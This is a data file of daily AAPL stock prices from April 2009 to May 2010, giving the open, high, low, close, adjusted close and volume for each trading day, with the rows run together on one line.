-2009-04-24,17.805713653564453,17.87714195251465,17.567142486572266,17.700000762939453,15.400788307189941,135191000.0,AAPL -2009-04-27,17.55714225769043,17.85714340209961,17.522857666015625,17.818571090698242,15.503955841064453,120172500.0,AAPL -2009-04-28,17.621429443359375,18.030000686645508,17.608572006225586,17.700000762939453,15.400788307189941,113964200.0,AAPL -2009-04-29,17.83571434020996,18.121429443359375,17.690000534057617,17.87714195251465,15.554915428161621,114527700.0,AAPL -2009-04-30,18.031429290771484,18.14285659790039,17.845714569091797,17.9757137298584,15.640681266784668,124622400.0,AAPL -2009-05-01,17.97142791748047,18.27857208251953,17.97142791748047,18.177143096923828,15.815953254699707,99379000.0,AAPL -2009-05-04,18.31999969482422,18.89285659790039,18.239999771118164,18.867143630981445,16.41632080078125,152339600.0,AAPL -2009-05-05,18.821428298950195,18.979999542236328,18.731428146362305,18.95857048034668,16.495874404907227,99563800.0,AAPL -2009-05-06,19.047142028808594,19.071428298950195,18.60285758972168,18.928571701049805,16.469772338867188,118384700.0,AAPL -2009-05-07,18.904285430908203,18.912857055664062,18.27142906188965,18.437143325805664,16.04217529296875,132944000.0,AAPL -2009-05-08,18.43428611755371,18.747142791748047,18.03714370727539,18.45571517944336,16.058332443237305,116991000.0,AAPL -2009-05-11,18.195714950561523,18.70857048034668,18.15999984741211,18.510000228881836,16.10556983947754,101164700.0,AAPL -2009-05-12,18.50857162475586,18.530000686645508,17.60714340209961,17.7742862701416,15.465424537658691,152370400.0,AAPL -2009-05-13,17.601428985595703,17.71714210510254,17.054285049438477,17.06999969482422,14.852625846862793,148992900.0,AAPL -2009-05-14,17.11142921447754,17.64714241027832,17.100000381469727,17.564285278320312,15.282700538635254,111956600.0,AAPL -2009-05-15,17.474285125732422,17.8028564453125,17.37285804748535,17.488571166992188,15.21682357788086,91891800.0,AAPL -2009-05-18,17.67571449279785,18.100000381469727,17.367143630981445,18.092857360839844,15.742613792419434,114710400.0,AAPL -2009-05-19,18.117143630981445,18.472856521606445,17.96285629272461,18.207143783569336,15.842053413391113,93105600.0,AAPL -2009-05-20,18.23285675048828,18.45857048034668,17.899999618530273,17.981428146362305,15.645660400390625,97146000.0,AAPL -2009-05-21,17.878570556640625,18.11142921447754,17.555713653564453,17.739999771118164,15.435585975646973,101986500.0,AAPL -2009-05-22,17.72142791748047,17.739999771118164,17.39285659790039,17.5,15.22676944732666,74499600.0,AAPL -2009-05-26,17.822856903076172,18.690000534057617,17.792856216430664,18.682857513427734,16.255971908569336,159231800.0,AAPL -2009-05-27,18.825714111328125,19.28285789489746,18.70142936706543,19.007143020629883,16.538131713867188,161605500.0,AAPL -2009-05-28,19.064285278320312,19.341428756713867,18.86142921447754,19.295713424682617,16.78921890258789,121888200.0,AAPL -2009-05-29,19.341428756713867,19.41428565979004,19.121429443359375,19.40142822265625,16.881202697753906,114133600.0,AAPL -2009-06-01,19.49571418762207,19.998571395874023,19.428571701049805,19.907142639160156,17.321231842041016,113124900.0,AAPL -2009-06-02,19.855714797973633,20.191429138183594,19.764286041259766,19.927143096923828,17.338623046875,114055900.0,AAPL -2009-06-03,20.0,20.158571243286133,19.867143630981445,20.135713577270508,17.52010154724121,141299900.0,AAPL -2009-06-04,20.018571853637695,20.597143173217773,20.005714416503906,20.534286499023438,17.866899490356445,137658500.0,AAPL -2009-06-05,20.75857162475586,20.91428565979004,20.45857048034668,20.667142868041992,17.982501983642578,158179000.0,AAPL -2009-06-08,20.545713424682617,20.604286193847656,19.91857147216797,20.549999237060547,17.88057518005371,232913100.0,AAPL -2009-06-09,20.54428482055664,20.65142822265625,20.078571319580078,20.38857078552246,17.740116119384766,169241100.0,AAPL -2009-06-10,20.325714111328125,20.33571434020996,19.757143020629883,20.035715103149414,17.433088302612305,172155900.0,AAPL -2009-06-11,19.935714721679688,20.222856521606445,19.792856216430664,19.992856979370117,17.395803451538086,131205900.0,AAPL -2009-06-12,19.829999923706055,19.871429443359375,19.43428611755371,19.567142486572266,17.025386810302734,140771400.0,AAPL -2009-06-15,19.43000030517578,19.56142807006836,19.270000457763672,19.441429138183594,16.916011810302734,134937600.0,AAPL -2009-06-16,19.522857666015625,19.781429290771484,19.44285774230957,19.47857093811035,16.948322296142578,128701300.0,AAPL -2009-06-17,19.5242862701416,19.635713577270508,19.218570709228516,19.368572235107422,16.852611541748047,142853200.0,AAPL -2009-06-18,19.444286346435547,19.714284896850586,19.3700008392334,19.411428451538086,16.88990020751953,106920100.0,AAPL -2009-06-19,19.724285125732422,19.928571701049805,19.55714225769043,19.92571449279785,17.337379455566406,180464200.0,AAPL -2009-06-22,20.095714569091797,20.222856521606445,19.4757137298584,19.624286651611328,17.075111389160156,158728500.0,AAPL -2009-06-23,19.485713958740234,19.564285278320312,18.98285675048828,19.144285202026367,16.657459259033203,176633100.0,AAPL -2009-06-24,19.345714569091797,19.64285659790039,19.265714645385742,19.459999084472656,16.932167053222656,121381400.0,AAPL -2009-06-25,19.39285659790039,20.02857208251953,19.31571388244629,19.979999542236328,17.384618759155273,147361900.0,AAPL -2009-06-26,19.969999313354492,20.50857162475586,19.96285629272461,20.34857177734375,17.70530891418457,109846100.0,AAPL -2009-06-29,20.494285583496094,20.564285278320312,20.219999313354492,20.281429290771484,17.646888732910156,141904000.0,AAPL -2009-06-30,20.368572235107422,20.542856216430664,20.257143020629883,20.347143173217773,17.70406723022461,108556000.0,AAPL -2009-07-01,20.5,20.665714263916016,20.360000610351562,20.404285430908203,17.753786087036133,103544700.0,AAPL -2009-07-02,20.178571701049805,20.404285430908203,19.969999313354492,20.002857208251953,17.40450668334961,92619800.0,AAPL -2009-07-06,19.814285278320312,19.855714797973633,19.464284896850586,19.801427841186523,17.22924041748047,124672100.0,AAPL -2009-07-07,19.78285789489746,19.954286575317383,19.31142807006836,19.342857360839844,16.83024024963379,115399200.0,AAPL -2009-07-08,19.417142868041992,19.719999313354492,19.202857971191406,19.60285758972168,17.05646514892578,143982300.0,AAPL -2009-07-09,19.68000030517578,19.71285629272461,19.41857147216797,19.479999542236328,16.949565887451172,85756300.0,AAPL -2009-07-10,19.477142333984375,19.85285758972168,19.474285125732422,19.788572311401367,17.218055725097656,111318900.0,AAPL -2009-07-13,19.93428611755371,20.334285736083984,19.64714241027832,20.334285736083984,17.6928768157959,120875300.0,AAPL -2009-07-14,20.290000915527344,20.454286575317383,20.165714263916016,20.32428550720215,17.684185028076172,86811900.0,AAPL -2009-07-15,20.719999313354492,21.0,20.617143630981445,20.98285675048828,18.257205963134766,121396800.0,AAPL -2009-07-16,20.822856903076172,21.145713806152344,20.795713424682617,21.07428550720215,18.336761474609375,98392700.0,AAPL -2009-07-17,21.297142028808594,21.71714210510254,21.23285675048828,21.678571701049805,18.8625431060791,150538500.0,AAPL -2009-07-20,21.895713806152344,22.148571014404297,21.555713653564453,21.84428596496582,19.006736755371094,183881600.0,AAPL -2009-07-21,21.898571014404297,21.91857147216797,21.39285659790039,21.644285202026367,18.832714080810547,218695400.0,AAPL -2009-07-22,22.54142951965332,22.67571449279785,22.301427841186523,22.391427993774414,19.482805252075195,218526000.0,AAPL -2009-07-23,22.375713348388672,22.63428497314453,22.222856521606445,22.545713424682617,19.617048263549805,131740700.0,AAPL -2009-07-24,22.421428680419922,22.85714340209961,22.35714340209961,22.855714797973633,19.886783599853516,109590600.0,AAPL -2009-07-27,22.881427764892578,22.98285675048828,22.465713500976562,22.871429443359375,19.90045166015625,108327800.0,AAPL -2009-07-28,22.6971435546875,22.871429443359375,22.514286041259766,22.85714340209961,19.88802719116211,90888700.0,AAPL -2009-07-29,22.700000762939453,22.921428680419922,22.60714340209961,22.86142921447754,19.891754150390625,95539500.0,AAPL -2009-07-30,23.100000381469727,23.531429290771484,23.071428298950195,23.255714416503906,20.23482322692871,117401200.0,AAPL -2009-07-31,23.284286499023438,23.571428298950195,23.272857666015625,23.341428756713867,20.30940055847168,105634200.0,AAPL -2009-08-03,23.601428985595703,23.805713653564453,23.5528564453125,23.775714874267578,20.687271118164062,98560000.0,AAPL -2009-08-04,23.56142807006836,23.652856826782227,23.45857048034668,23.649999618530273,20.57788848876953,98952700.0,AAPL -2009-08-05,23.678571701049805,23.912857055664062,23.45857048034668,23.587142944335938,20.523195266723633,105795900.0,AAPL -2009-08-06,23.654285430908203,23.78714370727539,23.29857063293457,23.415714263916016,20.374034881591797,85404200.0,AAPL -2009-08-07,23.641427993774414,23.799999237060547,23.542856216430664,23.644285202026367,20.572912216186523,96838700.0,AAPL -2009-08-10,23.665714263916016,23.799999237060547,23.3799991607666,23.531429290771484,20.474720001220703,75073600.0,AAPL -2009-08-11,23.38428497314453,23.48285675048828,23.125713348388672,23.261428833007812,20.23978614807129,88835600.0,AAPL -2009-08-12,23.22142791748047,23.81571388244629,23.20857048034668,23.61571502685547,20.54805564880371,111267800.0,AAPL -2009-08-13,23.80714225769043,24.095714569091797,23.785715103149414,24.059999465942383,20.93462562561035,109995200.0,AAPL -2009-08-14,23.99142837524414,24.03285789489746,23.64714241027832,23.825714111328125,20.730775833129883,76454000.0,AAPL -2009-08-17,23.364286422729492,23.3700008392334,22.7742862701416,22.79857063293457,19.83705711364746,131095300.0,AAPL -2009-08-18,23.09000015258789,23.46285629272461,23.058570861816406,23.428571701049805,20.38521957397461,107788100.0,AAPL -2009-08-19,23.25,23.614286422729492,23.207143783569336,23.514286041259766,20.45979881286621,103317900.0,AAPL -2009-08-20,23.568571090698242,23.817142486572266,23.515714645385742,23.761428833007812,20.67484474182129,85507800.0,AAPL -2009-08-21,23.950000762939453,24.195714950561523,23.828571319580078,24.174285888671875,21.034067153930664,104018600.0,AAPL -2009-08-24,24.3028564453125,24.387142181396484,24.038572311401367,24.15142822265625,21.01418113708496,101732400.0,AAPL -2009-08-25,24.20857048034668,24.420000076293945,24.161428451538086,24.200000762939453,21.056442260742188,81088700.0,AAPL -2009-08-26,24.131427764892578,24.22142791748047,23.822856903076172,23.915714263916016,20.8090877532959,75999700.0,AAPL -2009-08-27,24.10714340209961,24.224285125732422,23.547142028808594,24.207143783569336,21.062658309936523,112295400.0,AAPL -2009-08-28,24.610000610351562,24.641427993774414,24.075714111328125,24.292856216430664,21.137235641479492,113425200.0,AAPL -2009-08-31,24.022857666015625,24.121429443359375,23.785715103149414,24.030000686645508,20.908531188964844,77834400.0,AAPL -2009-09-01,23.998571395874023,24.285715103149414,23.562856674194336,23.614286422729492,20.54680824279785,117257000.0,AAPL -2009-09-02,23.51714324951172,23.944286346435547,23.444286346435547,23.597143173217773,20.53190040588379,91062300.0,AAPL -2009-09-03,23.777143478393555,23.871429443359375,23.571428298950195,23.792856216430664,20.702184677124023,73488800.0,AAPL -2009-09-04,23.89714241027832,24.385713577270508,23.8700008392334,24.329999923706055,21.169553756713867,93657200.0,AAPL -2009-09-08,24.711427688598633,24.734285354614258,24.571428298950195,24.704286575317383,21.49522590637207,78761900.0,AAPL -2009-09-09,24.682857513427734,24.924285888671875,24.242856979370117,24.448572158813477,21.272727966308594,202771800.0,AAPL -2009-09-10,24.579999923706055,24.75,24.40142822265625,24.65142822265625,21.449228286743164,122783500.0,AAPL -2009-09-11,24.70142936706543,24.739999771118164,24.40999984741211,24.59428596496582,21.39951515197754,87240300.0,AAPL -2009-09-14,24.404285430908203,24.842857360839844,24.321428298950195,24.817142486572266,21.593416213989258,80502800.0,AAPL -2009-09-15,24.862857818603516,25.092857360839844,24.79857063293457,25.022857666015625,21.772411346435547,106617700.0,AAPL -2009-09-16,25.427143096923828,26.10714340209961,25.411428451538086,25.981428146362305,22.60647201538086,188505800.0,AAPL -2009-09-17,25.997142791748047,26.68428611755371,25.99571418762207,26.364286422729492,22.939594268798828,202643000.0,AAPL -2009-09-18,26.547142028808594,26.649999618530273,26.394285202026367,26.431428909301758,22.99801254272461,150395700.0,AAPL -2009-09-21,26.3271427154541,26.45142936706543,25.945714950561523,26.288572311401367,22.873714447021484,109428900.0,AAPL -2009-09-22,26.45571517944336,26.48285675048828,26.121429443359375,26.354286193847656,22.930889129638672,89188400.0,AAPL -2009-09-23,26.485713958740234,26.985713958740234,26.432857513427734,26.5,23.05767250061035,148390900.0,AAPL -2009-09-24,26.742856979370117,26.814285278320312,26.110000610351562,26.260000228881836,22.84885025024414,137720100.0,AAPL -2009-09-25,26.001428604125977,26.5,25.920000076293945,26.0528564453125,22.668615341186523,111309800.0,AAPL -2009-09-28,26.26714324951172,26.66857147216797,26.190000534057617,26.592857360839844,23.13846778869629,84361200.0,AAPL -2009-09-29,26.67571449279785,26.77142906188965,26.329999923706055,26.48285675048828,23.04275894165039,86346400.0,AAPL -2009-09-30,26.59000015258789,26.635713577270508,26.087142944335938,26.47857093811035,23.039031982421875,134896300.0,AAPL -2009-10-01,26.47857093811035,26.60285758972168,25.814285278320312,25.837142944335938,22.480918884277344,131177900.0,AAPL -2009-10-02,25.915714263916016,26.562856674194336,25.907142639160156,26.41428565979004,22.983089447021484,138327000.0,AAPL -2009-10-05,26.600000381469727,26.694286346435547,26.32428550720215,26.57428550720215,23.122312545776367,105783300.0,AAPL -2009-10-06,26.81999969482422,27.144285202026367,26.757143020629883,27.144285202026367,23.618268966674805,151271400.0,AAPL -2009-10-07,27.108572006225586,27.22142791748047,27.00428581237793,27.178571701049805,23.64809799194336,116417000.0,AAPL -2009-10-08,27.23714256286621,27.350000381469727,26.984285354614258,27.038572311401367,23.526287078857422,109552800.0,AAPL -2009-10-09,26.99571418762207,27.242856979370117,26.945714950561523,27.209999084472656,23.675447463989258,73318000.0,AAPL -2009-10-12,27.288572311401367,27.358572006225586,27.091428756713867,27.25857162475586,23.717708587646484,72006200.0,AAPL -2009-10-13,27.23285675048828,27.309999465942383,27.100000381469727,27.145713806152344,23.619508743286133,87005100.0,AAPL -2009-10-14,27.464284896850586,27.474285125732422,27.17571449279785,27.3271427154541,23.777372360229492,93877700.0,AAPL -2009-10-15,27.09000015258789,27.2742862701416,27.075714111328125,27.222856521606445,23.686635971069336,93389100.0,AAPL -2009-10-16,27.049999237060547,27.194286346435547,26.834285736083984,26.864286422729492,23.374643325805664,107856700.0,AAPL -2009-10-19,26.83571434020996,27.14285659790039,26.507143020629883,27.12285804748535,23.59962272644043,235557700.0,AAPL -2009-10-20,28.657142639160156,28.821428298950195,28.264286041259766,28.394285202026367,24.70589256286621,285259800.0,AAPL -2009-10-21,28.502857208251953,29.81571388244629,28.461427688598633,29.2742862701416,25.471580505371094,298431700.0,AAPL -2009-10-22,29.242856979370117,29.69285774230957,28.93000030517578,29.314285278320312,25.50638771057129,197848000.0,AAPL -2009-10-23,29.385713577270508,29.399999618530273,29.03285789489746,29.13428497314453,25.349769592285156,105196700.0,AAPL -2009-10-26,29.095714569091797,29.535715103149414,28.58571434020996,28.92571449279785,25.16829490661621,121084600.0,AAPL -2009-10-27,28.808570861816406,28.972856521606445,28.064285278320312,28.195714950561523,24.533119201660156,189137900.0,AAPL -2009-10-28,28.244285583496094,28.288572311401367,27.299999237060547,27.485713958740234,23.91534423828125,204596700.0,AAPL -2009-10-29,27.85714340209961,28.11571502685547,27.448572158813477,28.049999237060547,24.406330108642578,142567600.0,AAPL -2009-10-30,28.00857162475586,28.114286422729492,26.881427764892578,26.928571701049805,23.430578231811523,179381300.0,AAPL -2009-11-02,27.114286422729492,27.554285049438477,26.510000228881836,27.04428482055664,23.53126335144043,169745800.0,AAPL -2009-11-03,26.83571434020996,27.07428550720215,26.559999465942383,26.964284896850586,23.461652755737305,130635400.0,AAPL -2009-11-04,27.247142791748047,27.69285774230957,27.17571449279785,27.25857162475586,23.717708587646484,121882600.0,AAPL -2009-11-05,27.485713958740234,27.85714340209961,27.402856826782227,27.718570709228516,24.117956161499023,96200300.0,AAPL -2009-11-06,27.501428604125977,27.88428497314453,27.485713958740234,27.76285743713379,24.156482696533203,73774400.0,AAPL -2009-11-09,28.13428497314453,28.842857360839844,28.03714370727539,28.780000686645508,25.041505813598633,132213900.0,AAPL -2009-11-10,28.71714210510254,29.28285789489746,28.715713500976562,28.997142791748047,25.230438232421875,100298800.0,AAPL -2009-11-11,29.222856521606445,29.285715103149414,28.832857131958008,29.035715103149414,25.264001846313477,110967500.0,AAPL -2009-11-12,29.020000457763672,29.26714324951172,28.775714874267578,28.855714797973633,25.107385635375977,90932800.0,AAPL -2009-11-13,28.981428146362305,29.261428833007812,28.867143630981445,29.207143783569336,25.413156509399414,85810200.0,AAPL -2009-11-16,29.354286193847656,29.714284896850586,29.28714370727539,29.518571853637695,25.684139251708984,121301600.0,AAPL -2009-11-17,29.440000534057617,29.63428497314453,29.285715103149414,29.571428298950195,25.730127334594727,99128400.0,AAPL -2009-11-18,29.505714416503906,29.571428298950195,29.14285659790039,29.4228572845459,25.600854873657227,93580200.0,AAPL -2009-11-19,29.229999542236328,29.229999542236328,28.542856216430664,28.644285202026367,24.923416137695312,135581600.0,AAPL -2009-11-20,28.450000762939453,28.62714195251465,28.251428604125977,28.559999465942383,24.85008430480957,101666600.0,AAPL -2009-11-23,29.0,29.428571701049805,28.992856979370117,29.411428451538086,25.590911865234375,118724200.0,AAPL -2009-11-24,29.332857131958008,29.411428451538086,28.985713958740234,29.20571517944336,25.41191864013672,79609600.0,AAPL -2009-11-25,29.342857360839844,29.378570556640625,29.108572006225586,29.170000076293945,25.380844116210938,71613500.0,AAPL -2009-11-27,28.459999084472656,28.994285583496094,28.338571548461914,28.65571403503418,24.933364868164062,73814300.0,AAPL -2009-11-30,28.729999542236328,28.81142807006836,28.395713806152344,28.558570861816406,24.848840713500977,106214500.0,AAPL -2009-12-01,28.891427993774414,28.96714210510254,28.118572235107422,28.13857078552246,24.483394622802734,116440800.0,AAPL -2009-12-02,28.4228572845459,28.7742862701416,27.964284896850586,28.03285789489746,24.39141845703125,178815000.0,AAPL -2009-12-03,28.202857971191406,28.42571449279785,28.038572311401367,28.068571090698242,24.42249298095703,112179900.0,AAPL -2009-12-04,28.52857208251953,28.554285049438477,27.182857513427734,27.617143630981445,24.029699325561523,206721200.0,AAPL -2009-12-07,27.617143630981445,27.681428909301758,26.954286575317383,26.992856979370117,23.486513137817383,178689700.0,AAPL -2009-12-08,27.051427841186523,27.47857093811035,26.957143783569336,27.124286651611328,23.600866317749023,172599700.0,AAPL -2009-12-09,27.325714111328125,28.308570861816406,27.187143325805664,28.257143020629883,24.58656883239746,171195500.0,AAPL -2009-12-10,28.5,28.52857208251953,28.01714324951172,28.06142807006836,24.41627311706543,122417400.0,AAPL -2009-12-11,28.25428581237793,28.285715103149414,27.632856369018555,27.809999465942383,24.197509765625,107443700.0,AAPL -2009-12-14,27.90999984741211,28.204286575317383,27.50857162475586,28.139999389648438,24.484638214111328,123947600.0,AAPL -2009-12-15,27.9757137298584,28.215713500976562,27.610000610351562,27.738571166992188,24.13536262512207,104864900.0,AAPL -2009-12-16,27.871429443359375,28.071428298950195,27.792856216430664,27.86142921447754,24.24225425720215,88246200.0,AAPL -2009-12-17,27.751428604125977,27.85714340209961,27.285715103149414,27.408571243286133,23.84822654724121,97209700.0,AAPL -2009-12-18,27.595714569091797,27.928571701049805,27.514286041259766,27.91857147216797,24.29197883605957,152192600.0,AAPL -2009-12-21,28.007143020629883,28.535715103149414,27.952857971191406,28.318571090698242,24.6400146484375,152976600.0,AAPL -2009-12-22,28.49142837524414,28.69285774230957,28.3799991607666,28.62285804748535,24.904773712158203,87378900.0,AAPL -2009-12-23,28.742856979370117,28.911428451538086,28.687143325805664,28.871429443359375,25.121055603027344,86381400.0,AAPL -2009-12-24,29.078571319580078,29.907142639160156,29.049999237060547,29.862857818603516,25.983705520629883,125222300.0,AAPL -2009-12-28,30.24571418762207,30.564285278320312,29.944286346435547,30.229999542236328,26.303152084350586,161141400.0,AAPL -2009-12-29,30.375713348388672,30.38857078552246,29.818571090698242,29.871429443359375,25.99115753173828,111301400.0,AAPL -2009-12-30,29.832857131958008,30.285715103149414,29.75857162475586,30.234285354614258,26.30687713623047,103021100.0,AAPL -2009-12-31,30.4471435546875,30.47857093811035,30.079999923706055,30.104286193847656,26.193771362304688,88102700.0,AAPL -2010-01-04,30.489999771118164,30.64285659790039,30.34000015258789,30.572856903076172,26.601469039916992,123432400.0,AAPL -2010-01-05,30.657142639160156,30.79857063293457,30.464284896850586,30.625713348388672,26.647457122802734,150476200.0,AAPL -2010-01-06,30.625713348388672,30.747142791748047,30.10714340209961,30.13857078552246,26.223596572875977,138040000.0,AAPL -2010-01-07,30.25,30.285715103149414,29.864286422729492,30.082857131958008,26.175119400024414,119282800.0,AAPL -2010-01-08,30.042856216430664,30.285715103149414,29.86571502685547,30.28285789489746,26.349140167236328,111902700.0,AAPL -2010-01-11,30.399999618530273,30.428571701049805,29.77857208251953,30.015714645385742,26.116703033447266,115557400.0,AAPL -2010-01-12,29.88428497314453,29.96714210510254,29.488571166992188,29.674285888671875,25.819623947143555,148614900.0,AAPL -2010-01-13,29.695714950561523,30.132856369018555,29.157142639160156,30.092857360839844,26.183822631835938,151473000.0,AAPL -2010-01-14,30.015714645385742,30.06571388244629,29.860000610351562,29.91857147216797,26.03217887878418,108223500.0,AAPL -2010-01-15,30.132856369018555,30.22857093811035,29.40999984741211,29.41857147216797,25.597126007080078,148516900.0,AAPL -2010-01-19,29.761428833007812,30.74142837524414,29.605714797973633,30.719999313354492,26.7294979095459,182501900.0,AAPL -2010-01-20,30.70142936706543,30.792856216430664,29.928571701049805,30.247142791748047,26.318065643310547,153038200.0,AAPL -2010-01-21,30.297142028808594,30.472856521606445,29.601428985595703,29.724285125732422,25.86312484741211,152038600.0,AAPL -2010-01-22,29.540000915527344,29.64285659790039,28.165714263916016,28.25,24.58034896850586,220441900.0,AAPL -2010-01-25,28.93000030517578,29.242856979370117,28.59857177734375,29.010000228881836,25.241626739501953,266424900.0,AAPL -2010-01-26,29.421428680419922,30.530000686645508,28.940000534057617,29.420000076293945,25.598369598388672,466777500.0,AAPL -2010-01-27,29.549999237060547,30.082857131958008,28.50428581237793,29.6971435546875,25.839513778686523,430642100.0,AAPL -2010-01-28,29.275714874267578,29.35714340209961,28.385713577270508,28.469999313354492,24.771774291992188,293375600.0,AAPL -2010-01-29,28.7257137298584,28.885713577270508,27.178571701049805,27.437143325805664,23.873083114624023,311488100.0,AAPL -2010-02-01,27.481428146362305,28.0,27.328571319580078,27.818571090698242,24.2049617767334,187469100.0,AAPL -2010-02-02,27.98714256286621,28.045713424682617,27.625713348388672,27.979999542236328,24.345422744750977,174585600.0,AAPL -2010-02-03,27.881427764892578,28.600000381469727,27.7742862701416,28.461427688598633,24.76431655883789,153832000.0,AAPL -2010-02-04,28.104286193847656,28.338571548461914,27.367143630981445,27.435714721679688,23.871843338012695,189413000.0,AAPL -2010-02-05,27.518571853637695,28.0,27.264286041259766,27.9228572845459,24.295703887939453,212576700.0,AAPL -2010-02-08,27.95571517944336,28.268571853637695,27.714284896850586,27.731428146362305,24.129140853881836,119567700.0,AAPL -2010-02-09,28.059999465942383,28.214284896850586,27.821428298950195,28.027143478393555,24.386444091796875,158221700.0,AAPL -2010-02-10,27.984285354614258,28.08571434020996,27.751428604125977,27.874286651611328,24.253442764282227,92590400.0,AAPL -2010-02-11,27.84000015258789,28.535715103149414,27.722856521606445,28.381427764892578,24.6947078704834,137586400.0,AAPL -2010-02-12,28.301427841186523,28.805713653564453,27.928571701049805,28.625713348388672,24.90726661682129,163867200.0,AAPL -2010-02-16,28.84857177734375,29.09857177734375,28.788572311401367,29.05714225769043,25.282644271850586,135934400.0,AAPL -2010-02-17,29.170000076293945,29.187143325805664,28.694286346435547,28.935714721679688,25.176990509033203,109099200.0,AAPL -2010-02-18,28.804285049438477,29.12714195251465,28.702857971191406,28.989999771118164,25.224225997924805,105706300.0,AAPL -2010-02-19,28.837142944335938,29.02857208251953,28.729999542236328,28.809999465942383,25.067609786987305,103867400.0,AAPL -2010-02-22,28.90571403503418,28.928571701049805,28.45571517944336,28.631427764892578,24.912235260009766,97640900.0,AAPL -2010-02-23,28.571428298950195,28.761428833007812,27.95857048034668,28.15142822265625,24.494585037231445,143773700.0,AAPL -2010-02-24,28.318571090698242,28.777143478393555,28.26285743713379,28.665714263916016,24.942062377929688,115141600.0,AAPL -2010-02-25,28.1971435546875,28.979999542236328,28.12714195251465,28.85714340209961,25.108627319335938,166281500.0,AAPL -2010-02-26,28.911428451538086,29.309999465942383,28.85714340209961,29.231428146362305,25.434293746948242,126865200.0,AAPL -2010-03-01,29.39285659790039,29.928571701049805,29.350000381469727,29.855714797973633,25.977487564086914,137523400.0,AAPL -2010-03-02,29.989999771118164,30.118572235107422,29.677143096923828,29.83571434020996,25.960084915161133,141636600.0,AAPL -2010-03-03,29.84857177734375,29.981428146362305,29.70571517944336,29.904285430908203,26.019742965698242,93013200.0,AAPL -2010-03-04,29.89714241027832,30.131427764892578,29.804285049438477,30.101428985595703,26.191282272338867,91510300.0,AAPL -2010-03-05,30.70571517944336,31.385713577270508,30.661428451538086,31.27857208251953,27.215511322021484,224905100.0,AAPL -2010-03-08,31.43000030517578,31.441429138183594,31.178571701049805,31.297142028808594,27.231672286987305,107472400.0,AAPL -2010-03-09,31.187143325805664,32.14285659790039,31.12714195251465,31.860000610351562,27.721418380737305,230064800.0,AAPL -2010-03-10,31.9757137298584,32.211429595947266,31.885713577270508,32.119998931884766,27.94764518737793,149054500.0,AAPL -2010-03-11,31.98714256286621,32.21428680419922,31.902856826782227,32.21428680419922,28.02967643737793,101425100.0,AAPL -2010-03-12,32.48143005371094,32.53285598754883,32.25,32.371429443359375,28.16641616821289,104080900.0,AAPL -2010-03-15,32.1971435546875,32.21428680419922,31.464284896850586,31.977142333984375,27.823341369628906,123375700.0,AAPL -2010-03-16,32.02571487426758,32.13999938964844,31.78714370727539,32.06428527832031,27.8991641998291,111727000.0,AAPL -2010-03-17,32.128570556640625,32.349998474121094,31.895713806152344,32.01714324951172,27.858152389526367,112739200.0,AAPL -2010-03-18,32.014286041259766,32.14285659790039,31.801427841186523,32.092857360839844,27.92402458190918,85527400.0,AAPL -2010-03-19,32.112857818603516,32.17714309692383,31.604286193847656,31.75,27.625701904296875,139861400.0,AAPL -2010-03-22,31.49571418762207,32.28571319580078,31.450000762939453,32.10714340209961,27.936452865600586,114104900.0,AAPL -2010-03-23,32.23428726196289,32.682857513427734,32.014286041259766,32.62285614013672,28.38517951965332,150607800.0,AAPL -2010-03-24,32.52000045776367,32.88571548461914,32.501426696777344,32.76714324951172,28.51072120666504,149445100.0,AAPL -2010-03-25,32.98857116699219,32.9957160949707,32.32143020629883,32.378570556640625,28.172624588012695,135571100.0,AAPL -2010-03-26,32.7071418762207,33.13571548461914,32.650001525878906,32.985713958740234,28.70090103149414,160218800.0,AAPL -2010-03-29,33.28571319580078,33.40999984741211,33.08856964111328,33.198570251464844,28.886104583740234,135186100.0,AAPL -2010-03-30,33.79999923706055,33.92571258544922,33.46428680419922,33.69285583496094,29.316186904907227,131827500.0,AAPL -2010-03-31,33.64142990112305,33.801429748535156,33.494285583496094,33.57143020629883,29.21053123474121,107664900.0,AAPL -2010-04-01,33.915714263916016,34.104286193847656,33.25,33.709999084472656,29.331104278564453,150786300.0,AAPL -2010-04-05,33.568572998046875,34.07285690307617,33.538570404052734,34.06999969482422,29.64433479309082,171126900.0,AAPL -2010-04-06,34.02857208251953,34.31999969482422,33.85714340209961,34.220001220703125,29.774850845336914,111754300.0,AAPL -2010-04-07,34.22142791748047,34.560001373291016,34.09428405761719,34.371429443359375,29.9066104888916,157125500.0,AAPL -2010-04-08,34.34857177734375,34.505714416503906,34.005714416503906,34.27857208251953,29.825817108154297,143247300.0,AAPL -2010-04-09,34.4900016784668,34.55571365356445,34.3514289855957,34.54142761230469,30.05452537536621,83545700.0,AAPL -2010-04-12,34.599998474121094,34.72428512573242,34.54428482055664,34.612857818603516,30.116676330566406,83256600.0,AAPL -2010-04-13,34.551429748535156,34.68571472167969,34.44428634643555,34.63285827636719,30.13408088684082,76552700.0,AAPL -2010-04-14,35.040000915527344,35.11571502685547,34.86714172363281,35.09857177734375,30.539297103881836,101019100.0,AAPL -2010-04-15,35.111427307128906,35.575714111328125,35.07285690307617,35.560001373291016,30.94078826904297,94196200.0,AAPL -2010-04-16,35.5099983215332,35.87714385986328,34.93571472167969,35.342857360839844,30.75185203552246,187636400.0,AAPL -2010-04-19,35.290000915527344,35.41285705566406,34.538570404052734,35.29571533203125,30.71083641052246,141731100.0,AAPL -2010-04-20,35.505714416503906,35.60714340209961,34.70857238769531,34.941429138183594,30.40256690979004,184581600.0,AAPL -2010-04-21,36.97142791748047,37.17856979370117,36.53285598754883,37.031429290771484,32.221073150634766,245597800.0,AAPL -2010-04-22,36.89142990112305,38.10714340209961,36.599998474121094,38.067142486572266,33.122249603271484,198356200.0,AAPL -2010-04-23,38.28428649902344,38.88285827636719,38.14285659790039,38.689998626708984,33.66420364379883,199238900.0,AAPL -2010-04-26,38.84000015258789,38.922855377197266,38.31285858154297,38.5,33.49889373779297,119767200.0,AAPL -2010-04-27,38.181427001953125,38.262855529785156,37.21714401245117,37.43428421020508,32.571598052978516,177335900.0,AAPL -2010-04-28,37.60714340209961,37.71428680419922,36.630001068115234,37.371429443359375,32.51691436767578,189600600.0,AAPL -2010-04-29,37.57428741455078,38.57143020629883,37.43000030517578,38.37714385986328,33.39198684692383,139710200.0,AAPL -2010-04-30,38.47285842895508,38.65285873413086,37.28571319580078,37.2985725402832,32.45352554321289,135615900.0,AAPL -2010-05-03,37.691429138183594,38.26856994628906,37.55428695678711,38.04999923706055,33.10734176635742,113585500.0,AAPL -2010-05-04,37.55571365356445,37.612857818603516,36.67856979370117,36.95428466796875,32.153953552246094,180954900.0,AAPL 